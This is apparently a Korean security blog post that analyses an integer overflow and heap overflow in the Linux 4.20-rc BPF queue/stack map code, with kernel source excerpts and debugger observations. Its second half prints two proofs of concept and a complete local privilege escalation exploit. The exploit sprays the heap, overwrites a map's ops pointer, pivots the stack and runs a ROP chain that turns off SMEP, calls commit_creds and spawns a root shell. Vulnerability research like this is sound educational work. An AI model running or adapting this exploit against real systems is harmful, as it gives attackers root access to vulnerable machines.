시스템 해킹/Kernel

[1-day Analysis] Linux Kernel 4.20 BPF vulnerability analysis ( Integer Overflow & Heap Overflow )

ii4gsp 2021. 4. 4. 23:04

리눅스 커널의 BPF 모듈에서 발생하는 권한 상승까지 이어지는 integer overflow & heap overflow 취약점이다.

리눅스 커널 v4.20-rc1, v4.20-rc2, v4.20-rc3, v4.20-rc4 버전에서 취약점을 트리거 할 수 있다.

 

 

SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
	union bpf_attr attr;
	int err;

	if (sysctl_unprivileged_bpf_disabled && !bpf_capable())
		return -EPERM;

	err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
	if (err)
		return err;
	size = min_t(u32, size, sizeof(attr));

	/* copy attributes from user space, may be less than sizeof(bpf_attr) */
	memset(&attr, 0, sizeof(attr));
	if (copy_from_user(&attr, uattr, size) != 0)
		return -EFAULT;

	err = security_bpf(cmd, &attr, size);
	if (err < 0)
		return err;

	switch (cmd) {
	case BPF_MAP_CREATE:
		err = map_create(&attr);
		break;
	case BPF_MAP_LOOKUP_ELEM:
		err = map_lookup_elem(&attr);
		break;
	case BPF_MAP_UPDATE_ELEM:
		err = map_update_elem(&attr);
		break;
	case BPF_MAP_DELETE_ELEM:
		err = map_delete_elem(&attr);
		break;
	case BPF_MAP_GET_NEXT_KEY:
		err = map_get_next_key(&attr);
		break;
	case BPF_MAP_FREEZE:
		err = map_freeze(&attr);
		break;
	case BPF_PROG_LOAD:
		err = bpf_prog_load(&attr, uattr);
		break;
	case BPF_OBJ_PIN:
		err = bpf_obj_pin(&attr);
		break;
	case BPF_OBJ_GET:
		err = bpf_obj_get(&attr);
		break;
    ...
}

/kernel/bpf/syscall.c

BPF 모듈은 유저 스페이스에서 syscall로 호출 할 수 있으며, call number는 64bit 기준 321이다.

취약점은 map_create(), map_update_elem() 함수에서 발생한다.

 

 

union bpf_attr {
	[A]
	struct { /* anonymous struct used by BPF_MAP_CREATE command */
		__u32	map_type;	/* one of enum bpf_map_type */
		__u32	key_size;	/* size of key in bytes */
		__u32	value_size;	/* size of value in bytes */
		__u32	max_entries;	/* max number of entries in a map */
		__u32	map_flags;	/* BPF_MAP_CREATE related
					 * flags defined above.
					 */
		__u32	inner_map_fd;	/* fd pointing to the inner map */
		__u32	numa_node;	/* numa node (effective only if
					 * BPF_F_NUMA_NODE is set).
					 */
		char	map_name[BPF_OBJ_NAME_LEN];
		__u32	map_ifindex;	/* ifindex of netdev to create on */
		__u32	btf_fd;		/* fd pointing to a BTF type data */
		__u32	btf_key_type_id;	/* BTF type_id of the key */
		__u32	btf_value_type_id;	/* BTF type_id of the value */
		__u32	btf_vmlinux_value_type_id;/* BTF type_id of a kernel-
						   * struct stored as the
						   * map value
						   */
	};
	[B]
	struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
		__u32		map_fd;
		__aligned_u64	key;
		union {
			__aligned_u64 value;
			__aligned_u64 next_key;
		};
		__u64		flags;
	};
...

/include/uapi/linux/bpf.h

BPF syscall의 2번째 인자인 attr에 사용되는 공용체이다.

BPF_MAP_CREATE에 사용되는 구조체는 A로 표시한 구조체를 사용하고 BPF_MAP_*_ELEM에 사용되는 구조체는 B로 표시해둔 구조체를 사용한다.

 

 

static int map_create(union bpf_attr *attr)
{
	int numa_node = bpf_map_attr_numa_node(attr);
	struct bpf_map *map;
	int f_flags;
	int err;

	err = CHECK_ATTR(BPF_MAP_CREATE);
	if (err)
		return -EINVAL;

	if (attr->btf_vmlinux_value_type_id) {
		if (attr->map_type != BPF_MAP_TYPE_STRUCT_OPS ||
		    attr->btf_key_type_id || attr->btf_value_type_id)
			return -EINVAL;
	} else if (attr->btf_key_type_id && !attr->btf_value_type_id) {
		return -EINVAL;
	}

	f_flags = bpf_get_file_flag(attr->map_flags);
	if (f_flags < 0)
		return f_flags;

	if (numa_node != NUMA_NO_NODE &&
	    ((unsigned int)numa_node >= nr_node_ids ||
	     !node_online(numa_node)))
		return -EINVAL;

	/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
	map = find_and_alloc_map(attr); // here
	if (IS_ERR(map))
		return PTR_ERR(map);

	err = bpf_obj_name_cpy(map->name, attr->map_name,
			       sizeof(attr->map_name));

/kernel/bpf/syscall.c

cmd 인자 값이 BPF_MAP_CREATE 이라면 map_create() 함수가 호출된다.

map_create() 함수에서 find_and_alloc_map() 함수를 호출한다.

 

 

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
	const struct bpf_map_ops *ops;
	u32 type = attr->map_type;
	struct bpf_map *map;
	int err;

	if (type >= ARRAY_SIZE(bpf_map_types))
		return ERR_PTR(-EINVAL);
	type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
	ops = bpf_map_types[type];
	if (!ops)
		return ERR_PTR(-EINVAL);

	if (ops->map_alloc_check) {
		err = ops->map_alloc_check(attr);
		if (err)
			return ERR_PTR(err);
	}
	if (attr->map_ifindex)
		ops = &bpf_map_offload_ops;
	map = ops->map_alloc(attr); // here
	if (IS_ERR(map))
		return map;
	map->ops = ops;
	map->map_type = type;
	return map;
}

/kernel/bpf/syscall.c

find_and_alloc_map() 함수에서 ops의 map_alloc을 참조하여 함수를 호출하고 있다.

 

 

const struct bpf_map_ops queue_map_ops = {
    .map_alloc_check = queue_stack_map_alloc_check,
    .map_alloc = queue_stack_map_alloc,
    .map_free = queue_stack_map_free,
    .map_lookup_elem = queue_stack_map_lookup_elem,
    .map_update_elem = queue_stack_map_update_elem,
    .map_delete_elem = queue_stack_map_delete_elem,
    .map_push_elem = queue_stack_map_push_elem,
    .map_pop_elem = queue_map_pop_elem,
    .map_peek_elem = queue_map_peek_elem,
    .map_get_next_key = queue_stack_map_get_next_key,
};

실제로 호출되는 함수는 queue_stack_map_alloc() 함수이다.

 

 

static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
	int ret, numa_node = bpf_map_attr_numa_node(attr);
	struct bpf_queue_stack *qs;
	u32 size, value_size;
	u64 queue_size, cost;

	size = attr->max_entries + 1; // here
	value_size = attr->value_size;

	queue_size = sizeof(*qs) + (u64) value_size * size; // here

	cost = queue_size;
	if (cost >= U32_MAX - PAGE_SIZE)
		return ERR_PTR(-E2BIG);

	cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

	ret = bpf_map_precharge_memlock(cost);
	if (ret < 0)
		return ERR_PTR(ret);

	qs = bpf_map_area_alloc(queue_size, numa_node); // here
	if (!qs)
		return ERR_PTR(-ENOMEM);

	memset(qs, 0, sizeof(*qs));

	bpf_map_init_from_attr(&qs->map, attr);

	qs->map.pages = cost;
	qs->size = size;

	raw_spin_lock_init(&qs->lock);

	return &qs->map;
}

/kernel/bpf/queue_stack_maps.c

queue_stack_map_alloc() 함수에서 integer overflow가 발생한다.

attr은 유저 스페이스에서 BPF syscall 호출할 때 인자로 전달하는 공용체이며, 유저가 컨트롤하는 값이다.

size 변수는 unsigned 32bit이며 attr->max_entries 값이 0xffffffff로 전달되면 attr->max_entries + 1로 인해 size는 0이 된다.

queue_size 변수의 사이즈를 계산할 때 qs 구조체 사이즈와 value_size * size를 더한다.

여기서 size는 integer overflow로 인해 0 값이니 뭘 곱해도 0이다.

결론은 qs 구조체 사이즈 + 0이 된다.

그 후 qs에 힙을 할당할 때, qs 구조체 크기만큼 할당된다.

 

 

struct bpf_queue_stack {
	struct bpf_map map;
	raw_spinlock_t lock;
	u32 head, tail;
	u32 size;

	char elements[0] __aligned(8);
};

bpf_queue_stack 구조체는 위와 같다.

 

 

struct bpf_map {
    /* The first two cachelines with read-mostly members of which some
     * are also accessed in fast-path (e.g. ops, max_entries).
     */
    const struct bpf_map_ops *ops ____cacheline_aligned;
    struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
    void *security;
#endif
    enum bpf_map_type map_type;
    u32 key_size;
    u32 value_size;
    u32 max_entries;
    u32 map_flags;
    u32 pages;
    u32 id;
    int numa_node;
    u32 btf_key_type_id;
    u32 btf_value_type_id;
    struct btf *btf;
    bool unpriv_array;
    /* 55 bytes hole */

    /* The 3rd and 4th cacheline with misc members to avoid false sharing
     * particularly with refcounting.
     */
    struct user_struct *user ____cacheline_aligned;
    atomic_t refcnt;
    atomic_t usercnt;
    struct work_struct work;
    char name[BPF_OBJ_NAME_LEN];
};

struct bpf_queue_stack 구조체의 첫번째 멤버인 bpf_map 구조체이다.

여기서 중요하게 봐야할건 bpf_map의 첫번째 멤버인 struct bpf_map_ops 구조체이다.

 

 

struct bpf_map_ops {
    /* funcs callable from userspace (via syscall) */
    int (*map_alloc_check)(union bpf_attr *attr);
    struct bpf_map *(*map_alloc)(union bpf_attr *attr);
    void (*map_release)(struct bpf_map *map, struct file *map_file);
    void (*map_free)(struct bpf_map *map);
    int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
    void (*map_release_uref)(struct bpf_map *map);

    /* funcs callable from userspace and from eBPF programs */
    void *(*map_lookup_elem)(struct bpf_map *map, void *key);
    int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
    int (*map_delete_elem)(struct bpf_map *map, void *key);
    int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
    int (*map_pop_elem)(struct bpf_map *map, void *value);
    int (*map_peek_elem)(struct bpf_map *map, void *value);

    /* funcs called by prog_array and perf_event_array map */
    void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
                int fd);
    void (*map_fd_put_ptr)(void *ptr);
    u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
    u32 (*map_fd_sys_lookup_elem)(void *ptr);
    void (*map_seq_show_elem)(struct bpf_map *map, void *key,
                  struct seq_file *m);
    int (*map_check_btf)(const struct bpf_map *map,
                 const struct btf_type *key_type,
                 const struct btf_type *value_type);
};

struct bpf_map_ops 구조체는 생성된 맵에 대한 함수 포인터를 저장하고 있다.

 

 

void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
	map->map_type = attr->map_type;
	map->key_size = attr->key_size;
	map->value_size = attr->value_size;
	map->max_entries = attr->max_entries;
	map->map_flags = attr->map_flags;
	map->numa_node = bpf_map_attr_numa_node(attr);
}

queue_stack_map_alloc() 함수에서 bpf_map_init_from_attr() 함수를 호출하여 map을 초기화 한다.

 

 

static int map_update_elem(union bpf_attr *attr)
{
	void __user *ukey = u64_to_user_ptr(attr->key);
	void __user *uvalue = u64_to_user_ptr(attr->value);
	int ufd = attr->map_fd;   // Used to determine the map number
	struct bpf_map *map;
	void *key, *value;
	u32 value_size;
	struct fd f;
	int err;

	if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
		return -EINVAL;

	f = fdget(ufd);
	map = __bpf_map_get(f);
	if (IS_ERR(map))
		return PTR_ERR(map);

	if (!(f.file->f_mode & FMODE_CAN_WRITE)) {
		err = -EPERM;
		goto err_put;
	}

	key = __bpf_copy_key(ukey, map->key_size);
	if (IS_ERR(key)) {
		err = PTR_ERR(key);
		goto err_put;
	}

	if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
	    map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
	    map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
	    map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
		value_size = round_up(map->value_size, 8) * num_possible_cpus();
	else
		value_size = map->value_size;

	err = -ENOMEM;
	value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); // here
	if (!value)
		goto free_key;

	err = -EFAULT;
	if (copy_from_user(value, uvalue, value_size) != 0)  // here
		goto free_value;

	/* Need to create a kthread, thus must support schedule */
	if (bpf_map_is_dev_bound(map)) {
		err = bpf_map_offload_update_elem(map, key, value, attr->flags);
		goto out;
	} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
		   map->map_type == BPF_MAP_TYPE_SOCKHASH ||
		   map->map_type == BPF_MAP_TYPE_SOCKMAP) {
		err = map->ops->map_update_elem(map, key, value, attr->flags);
		goto out;
	}

	/* must increment bpf_prog_active to avoid kprobe+bpf triggering from
	 * inside bpf map update or delete otherwise deadlocks are possible
	 */
	preempt_disable();
	__this_cpu_inc(bpf_prog_active);
	if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
	    map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
		err = bpf_percpu_hash_update(map, key, value, attr->flags);
	} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
		err = bpf_percpu_array_update(map, key, value, attr->flags);
	} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
		err = bpf_percpu_cgroup_storage_update(map, key, value,
						       attr->flags);
	} else if (IS_FD_ARRAY(map)) {
		rcu_read_lock();
		err = bpf_fd_array_map_update_elem(map, f.file, key, value,
						   attr->flags);
		rcu_read_unlock();
	} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
		rcu_read_lock();
		err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
						  attr->flags);
		rcu_read_unlock();
	} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
		/* rcu_read_lock() is not needed */
		err = bpf_fd_reuseport_array_update_elem(map, key, value,
							 attr->flags);
	} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
		   map->map_type == BPF_MAP_TYPE_STACK) {
		err = map->ops->map_push_elem(map, value, attr->flags); // here
	} else {
		rcu_read_lock();
		err = map->ops->map_update_elem(map, key, value, attr->flags);
		rcu_read_unlock();
	}
	__this_cpu_dec(bpf_prog_active);
	preempt_enable();
	maybe_wait_bpf_programs(map);
out:
free_value:
	kfree(value);
free_key:
	kfree(key);
err_put:
	fdput(f);
	return err;
}

/kernel/bpf/syscall.c

BPF syscall을 호출할 때 cmd 인자 값이 BPF_MAP_UPDATE_ELEM 이라면 map_update_elem() 함수가 호출된다.

kmalloc() 함수를 호출하여 value_size 만큼 value에 힙을 할당하는데 여기서 사용된 value_size는 bpf_map_init_from_attr() 함수에 의해 초기화된 attr->value_size 값이다.

즉, 유저 스페이스에서 컨트롤할 수 있는 값이다.

유저가 원하는 사이즈 만큼의 힙을 value에 할당하고, copy_from_user() 함수를 호출하여 attr->value 값을 가지는 uvalue를 kmalloc() 함수로 할당한 value에 값을 복사한다.

그 후 map->ops->map_update_elem() 함수를 호출하는데 실제로 호출되는 함수는 queue_stack_map_push_elem() 함수이다.

 

 

static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
				     u64 flags)
{
	struct bpf_queue_stack *qs = bpf_queue_stack(map);
	unsigned long irq_flags;
	int err = 0;
	void *dst;

	/* BPF_EXIST is used to force making room for a new element in case the
	 * map is full
	 */
	bool replace = (flags & BPF_EXIST);

	/* Check supported flags for queue and stack maps */
	if (flags & BPF_NOEXIST || flags > BPF_EXIST)
		return -EINVAL;

	raw_spin_lock_irqsave(&qs->lock, irq_flags);

	if (queue_stack_map_is_full(qs)) {
		if (!replace) {
			err = -E2BIG;
			goto out;
		}
		/* advance tail pointer to overwrite oldest element */
		if (unlikely(++qs->tail >= qs->size))
			qs->tail = 0;
	}

	dst = &qs->elements[qs->head * qs->map.value_size];
	memcpy(dst, value, qs->map.value_size); // Overflow

	if (unlikely(++qs->head >= qs->size))
		qs->head = 0;

out:
	raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
	return err;
}

/kernel/bpf/queue_stack_maps.c

queue_stack_map_push_elem() 함수는 실제로 heap overflow가 일어나는 함수이다.

memcpy() 함수를 호출하여 커널 힙에 할당된 변수 dst에 map_update_elem() 함수에서 할당한 value를

qs->map.value_size 만큼 복사한다.

여기서 value와 qs->map.value_size를 사용자가 컨트롤 할 수 있어 heap overflow가 발생한다.

 

 

// gcc -o poc poc.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>

#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2

int main()
{
    syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
    memset((void*)0x20000000, 0, 0x1000000);

    long res = 0;
    
    *(uint32_t*)0x200011c0 = 0x17; // map_type
    *(uint32_t*)0x200011c4 = 0; // key_size
    *(uint32_t*)0x200011c8 = 0x40; // value_size
    *(uint32_t*)0x200011cc = 0xffffffff; // max_entries
    *(uint32_t*)0x200011d0 = 0; // map_flags
    *(uint32_t*)0x200011d4 = -1; // inner_map_fd

    res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf
}

integer overflow를 트리거 하기 위한 POC 코드이다.

 

 

kaslr을 꺼주고 커널 심볼을 이용하여 queue_stack_map_alloc() 함수의 주소를 구해주자.

 

 

queue_stack_map_alloc() 함수에 breakpoint를 걸어주고 원격으로 디버거를 붙여준 후 POC를 실행해주자.

 

 

0xffffffff811af0b0 주소를 디스어셈블해서 밑에 보면 0xffffffff811af0d7 주소에 add eax, 0x1이 보인다.

저 빨간 박스 부분이 queue_stack_map_alloc() 함수의 size = attr->max_entries + 1 부분이다.

0xffffffff811af0d7와 0xffffffff811af0da에도 breakpoint를 걸어주자.

 

 

add eax, 0x1을 실행하기 전 레지스터의 상태이다.

RAX 즉, EAX 값이 0xffffffff이다.

 

 

add eax, 0x1 연산 후 RAX 레지스터 값은 0이 되며 integer overflow가 일어났음을 알 수 있다.

 

 

//gcc -o poc poc.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>

#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2

void *fakestack;
void prepare()
{
    fakestack = mmap((void*)0xa000000000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    if(fakestack < 0)
    {
        perror("[-] mmap failed\n");
    }
    
    memset(fakestack, 0, 0x8000);

    *(unsigned long*)(fakestack + 0x10) = 0x4141414141414141;
}

long victim[0x10];
void spray()
{
    for(int i = 0; i < 0x10; i++)
    {
        victim[i] = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c);
    }
}

int main()
{
    syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
    memset((void*)0x20000000, 0, 0x1000000);

    long res = 0;

    *(uint32_t*)0x200011c0 = 0x17; // map_type
    *(uint32_t*)0x200011c4 = 0; // key_size
    *(uint32_t*)0x200011c8 = 0x40; // value_size
    *(uint32_t*)0x200011cc = 0xffffffff; // max_entries
    *(uint32_t*)0x200011d0 = 0; // map_flags
    *(uint32_t*)0x200011d4 = -1; // inner_map_fd
    
    prepare();

    res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf

    spray();

    *(uint32_t*)0x200000c0 = res; // map_fd
    *(uint64_t*)0x200000c8 = 0; // key
    *(uint64_t*)0x200000d0 = 0x20000140; // value
    *(uint64_t*)0x200000d8 = 2; // flags
    uint64_t *ptr = (uint64_t*)0x20000140;

    for(int i = 0; i < 8; i++)
    {
        ptr[i] = i + 1;
    }
    ptr[6] = 0xa000000000;

    syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, 0x200000c0, 0x2c);

    for(int i = 0; i < 0x10; i++)
    {
        close(victim[i]);
    }

    return 0;
}

위 코드는 heap overflow를 이용하여 RIP를 컨트롤하는 POC 코드이다.

heap overflow를 트리거하여 RIP를 컨트롤하는 순서는 다음과 같다.

1. mmap syscall로 메모리 매핑 후 bpf_attr를 구현한다.

2. prepare() 함수를 호출하여 fakestack을 매핑한다.

3. bpf syscall로 BPF_MAP_CREATE를 호출하여 integer overflow를 일으켜 struct bpf_queue_stack 크기인 256byte 만큼 힙을 할당한다.

4. struct bpf_queue_stack 크기인 256byte 만큼 Slab Allocator 특성을 이용하여 동일하게 256byte 만큼 16번 힙 스프레이하여 힙을 배치해준다

5. bpf_attr을 세팅 해주고 ptr의 6번째 멤버를 fakestack의 시작 주소인 0xa000000000으로 세팅 해준다.

6. bpf syscall로 BPF_MAP_UPDATE_ELEM을 호출하여 struct bpf_map의 첫번째 멤버인 ops를 fakestack으로 덮는다.

7. BPF map을 close하면 fakestack->0x4141414141414141이 호출되어 RIP를 컨트롤 할 수 있게된다.

 

 

heap overflow 전 힙의 상태이다.

첫번째로 할당된 BPF map의 주소는 0xffff88807f9cb600 두번째로 할당된 BPF map의 주소는 0xffff88807f9cb700이다.

 

 

heap overflow가 일어난 후 두번째로 할당된 BPF map이 fakestack의 주소인 0xa000000000으로 덮혀있다.

 

 

그 후 BPF map을 close하게 되면 RIP가 0x4141414141414141을 호출하게되고 커널 패닉이 발생한다.

이렇게 RIP를 임의의 값으로 컨트롤 할 수 있다.

 

 

// gcc -o exploit exploit.c -static -fno-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <endian.h>
#include <fcntl.h>

#define BPF_MAP_CREATE 0
#define BPF_MAP_UPDATE_ELEM 2
#define COMMIT_CREDS 0xffffffff810e3ab0
#define PREPARE_KERNEL_CRED 0xffffffff810e3d40
#define pop_rax_ret 0xffffffff81029c71
#define pop_rdi_ret 0xffffffff810013b9
#define pop_rsi_ret 0xffffffff81001c50
#define swapgs 0xffffffff81c00d5a
#define iretq 0xffffffff8106d8f4
#define native_write_cr4 0xffffffff810037d5
#define stack_pivot_gadget 0xffffffff81954dc8

unsigned long user_cs, user_ss, user_rflags;

static void trap_frame()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
        :
        : "memory");
}

void get_shell()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

unsigned long rop_chain[] = {
    pop_rax_ret,
    0x6f0,
    0xffffffff81001c51, // native_write_cr4
    pop_rdi_ret,
    0,
    PREPARE_KERNEL_CRED,
    pop_rsi_ret,
    pop_rdi_ret,
    0xffffffff81264e0b, // push rax; push rsi; ret; 0xffffffff812646fb, push rax; push rsi; ret
    COMMIT_CREDS,
    swapgs,
    0x246,
    iretq,
    (unsigned long)&get_shell,
    0, // user_cs
    0, // user_rflags
    0, // rop_base + 0x4000
    0 // user_ss
};

void *rop_base;
void *fakestack;
void prepare()
{
    fakestack = mmap((void *)0xa000000000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    rop_base = mmap((void *)0x81954000, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    if(fakestack < 0 && rop_base < 0)
    {
        perror("[-] mmap failed\n");
    }

    memset(fakestack, 0, 0x8000);
    memset(rop_base, 0, 0x8000);

    *(unsigned long*)(rop_base + 0xdc8) = pop_rax_ret;
    *(unsigned long*)(fakestack + 0x10) = stack_pivot_gadget; // xchg eax, esp; ret;

    rop_chain[12 + 2] = user_cs;
    rop_chain[13 + 2] = user_rflags;
    rop_chain[14 + 2] = (unsigned long)(fakestack + 0x1000);
    rop_chain[15 + 2] = user_ss;

    memcpy(rop_base + (0x1444 - 0x8), rop_chain, sizeof(rop_chain));
}

long victim[0x10];
void spray()
{
    for(int i = 0; i < 0x10; i++)
    {
        victim[i] = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c);
    }
}

void get_shell_again()
{
    char *shell = "/bin/sh";
    char *args[] = {shell, NULL};
    execve(shell, args, NULL);
}

int main()
{
    signal(SIGSEGV, get_shell_again);
    syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); // mmap
    memset((void*)0x20000000, 0, 0x1000000);

    long res = 0;

    *(uint32_t*)0x200011c0 = 0x17; // map_type
    *(uint32_t*)0x200011c4 = 0; // key_size
    *(uint32_t*)0x200011c8 = 0x40; // value_size
    *(uint32_t*)0x200011cc = 0xffffffff; // max_entries
    *(uint32_t*)0x200011d0 = 0; // map_flags
    *(uint32_t*)0x200011d4 = -1; // inner_map_fd

    trap_frame();
    prepare();

    res = syscall(__NR_bpf, BPF_MAP_CREATE, 0x200011c0, 0x2c); // bpf

    spray();

    *(uint32_t*)0x200000c0 = res; // map_fd
    *(uint64_t*)0x200000c8 = 0; // key
    *(uint64_t*)0x200000d0 = 0x20000140; // value
    *(uint64_t*)0x200000d8 = 2; // flags
    uint64_t *ptr = (uint64_t*)0x20000140;

    for(int i = 0; i < 8; i++)
    {
        ptr[i] = i + 1;
    }
    ptr[6] = 0xa000000000;

    syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, 0x200000c0, 0x2c);

    for(int i = 0; i < 0x10; i++)
    {
        close(victim[i]);
    }

    return 0;
}

전체적인 익스플로잇 코드이다.

POC 코드에서 봤던 0x4141414141414141 자리에 stack pivot 가젯을 넣어주면 stack pivot 가젯이 호출되며,

stack pivoting이 발생한다.

stack pivoting으로 인해 rop_chain이 실행되고 권한 상승을 하게된다.

 

 

LPE